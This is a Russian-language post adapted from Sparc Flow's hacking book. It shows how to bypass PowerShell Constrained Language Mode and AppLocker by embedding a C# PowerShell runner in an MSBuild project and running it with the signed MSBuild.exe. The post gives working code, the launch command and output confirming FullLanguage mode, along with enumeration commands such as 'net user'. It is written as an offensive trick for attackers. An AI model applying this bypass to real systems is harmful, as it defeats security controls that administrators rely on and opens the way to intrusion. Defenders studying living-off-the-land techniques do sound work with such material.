Обход запрета ConstrainedLanguage.

Всем привет.

Как известно Windows имеет один из механизмов защиты для Powershell - Constrained Language mode (Режим с Ограничением языка) который запрещает ряд специальных типов и объектов и функций .NET, типа: Add-Type, New-Object, классов .NET [console] и многого иного.

Проверку вашого текущего режима можно выполнить так: 

$ExecutionContext.SessionState.LanguageMode

Режим ConstrainedLanguage лимитирует PowerShell нормированным подмножеством одобренных и безопасных свойств. Команда New-Object несомненно не относится к подобным безопасным функциональным возможностям, поскольку она определяет объекты .NET или COM, которые расширяют богатство PowerShell для взаимодействия с внутренними компонентами Windows.

Component Object Model (COM, модель компонентных объектов) это разработанный Microsoft стандарт для управления взаимодействием между процессами. Такая программа как Internet Explorer способна зарегистрировать некий объект COM, который определяет подобные FetchURL, DownloadFile, BrowseToPage и тому подобные методы. Затем некий сценарий Visual Basic способен конкретизировать такой объект COM и вызвать его методы для какой-либо необходимой цели. То же самое верно и для сценария Python, который понимает COM, сценария PowerShell, программы C++ и так далее. Внутреннее устройство COM несколько сложнее того, что следует из данного пояснения, но основная суть в том, что цель COM именно и заключается в наличии унифицированного способа вызова удалённых процедур, публикуемых прочими программами. Вы можете догадаться почему создание COM-объектов запрещено в режиме с Ограничениями языка PowerShell, ибо они делают возможным взаимодействие с внутренними компонентами Windows, а в конечном итоге, избегать ограничений.

.NET во многом следует стандарту COM и подменяет COM в предоставлении полной инфраструктуры для разработки, сборки и запуска приложений в Windows. В точности как и с объектами CON, сы можем применять типы и классы .NET для активации произвольных API Windows для считывания файлов, создания процессов, отправки сетевых пакетов и многого иного. Все допускающий такой низкоуровневый доступ свойства .NET, таким образом, блокируются режимом с Ограничениями языка PowerShell, включая интенсивно применяемую команду add-type, которая способна определять новые классы из естественного кода C#.

Тем самым, большинство наступательных сценариев PowerShell рынка, которые обязательно полагаются на такие функциональные возможности, превращаются в почти бесполезные по причине режима с ConstrainedLanguage, настроек безопасности, представленных в механизме исполнения PowerShell версии 5 (он же Windows Management Framework версии 5, или WMF 5).

Поможет ли нам MSBuild?

Одной из мощных уловок, которым мы способны воспользоваться в своём затруднительном случае, вовлекает MSBuild, платформу ядра, которая компилирует и запускает приложения .NET MSBuild - это подписанный Microsoft исполняемый файл, расположенный во вложенной папке доверенного каталога (C:\Windows), точное расположение которого зависит от версии .NET Framework нашей целевой системы. Для версии 4, к примеру, это C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe. Если вы не обнаружите его там, проверьте иные вложенные каталоги в папке Microsoft.NET, и вы обязательно его отыщите.

Предполагая что данный исполняемый файл располагается в данной папке C:\Windows, AppLocker позволяет ему запускаться под устанавливаемыми по умолчанию правилами. А поскольку MSBuild безмерно полезный инструмент, на постоянной основе применяемый разработчиками для своих возможностей написания сценариев, мало вероятно что администраторы заблокируют его по всем своим серверам - в особенности Strat Jumbo, в той фирме, разработчики которой полагаются на такие инструменты. И в самом деле, когда мы вводим упомянутый выше путь MSBuild, мы видим, что способны свободно запускать эту утилиту из диалогового окна Open File, как это отображено на Рисунке 5.10, хотя он и быстро пропадёт, ибо завершается ошибкой, когда ему не предоставлен надлежащий файл на входе.

Теперь, когда нам известно что мы имеем возможность запуска MSBuild, нам потребуется собрать нечто для исполнения им. MSBuild исполняет проекты, написанные в XML, которые объявляют необходимые задачи и этапы, за которыми производится компиляция исполняемого файла: какие файлы скопировать, какой исходный код вложить, какие DLL скомпоновать и так далее. Наш проект будет содержать собственно код нашей обёртки PowerShell для компиляции. В случае успеха, MSBuild автоматически загрузит и запустит этот исполняемый файл (psh.xml), при этом обходя правила AppLocker.

public class PsCommand : Task, ITask

{

  public override bool Execute() {

    Console.WriteLine("Executing PS commands:");

    // Создание конвейера PowerShell: command1 | command2 | ...

   PowerShell Ps_instance = PowerShell.Create();

    // Порядок команд в нашем конвейере

     Ps_instance.AddScript("$PSVersionTable.PSVersion");

     Ps_instance.AddStatement();

     Ps_instance.AddScript("$ExecutionContext.SessionState.LanguageMode");

     Ps_instance.AddStatement();

     Ps_instance.AddScript("Get-ExecutionPolicy");

     Ps_instance.AddStatement();

     Ps_instance.AddScript("get-process | out-string");

     Ps_instance.AddCommand("out-string");

     Ps_instance.AddStatement();

     Ps_instance.AddScript("net user");

     Ps_instance.AddStatement();

     Ps_instance.AddScript("ls c: | out-string");

    // Активация нашего конвейера и выборка строк вывода

    foreach (string str in Ps_instance.Invoke<string>()){

      Console.WriteLine(str);

    }

    Console.WriteLine("Press any key to exit...");

    Console.ReadKey();

    return true;

  } // Конец метода Execute

} // Конец класса PsCommand

Мы пользуемся своей функцией AddCommand для одиночных естественных командлетов PowerShell (get-process, start-service и тому подобных), а также мы запускаем AddScript для исполнения блоков сценариев и внешний исполняемых файлов, либо соединения в цепочку множества командлетов, а AddStatement() эквивалентен разделителю ";".

Запуск на выполнение маневра выглядит так:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe psh.xml

и его результат:

Microsoft (R) Build Engine version 4.8.4084.0

[Microsoft .NET Framework, version 4.0.30319.42000]

Copyright (C) Microsoft Corporation. All rights reserved.

Build started 16.02.2023 16:46:20.

Executing PS commands:

5.1.19041.2364

FullLanguage

Restricted

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName                                                   

-------  ------    -----      -----     ------     --  -- -----------                                                   

    326      30     6864      13736              3800   0 app_updater                                                   

    432      26    12024      34524       1,44  11332   3 ApplicationFrameHost                                          

    232      12     2372      11080              6872   3 atieclxx                                                      

    164       8     1424       6284              1960   0 atiesrxx                                                      

    606      43    28956       2104       0,56   8068   3 CalculatorApp                                                 

    875      59    71812      27928       2,77  11868   3 CCC                                                           

<опущено>

Вот такой вот фокус с MSBuild. Удачи. 

По материалам книги Спарка Флоу "Как заниматься взломом словно легенда. Прорываемся в Windows", Copyright (С) 2022 Sparc Flow, No Starch Press, Inc.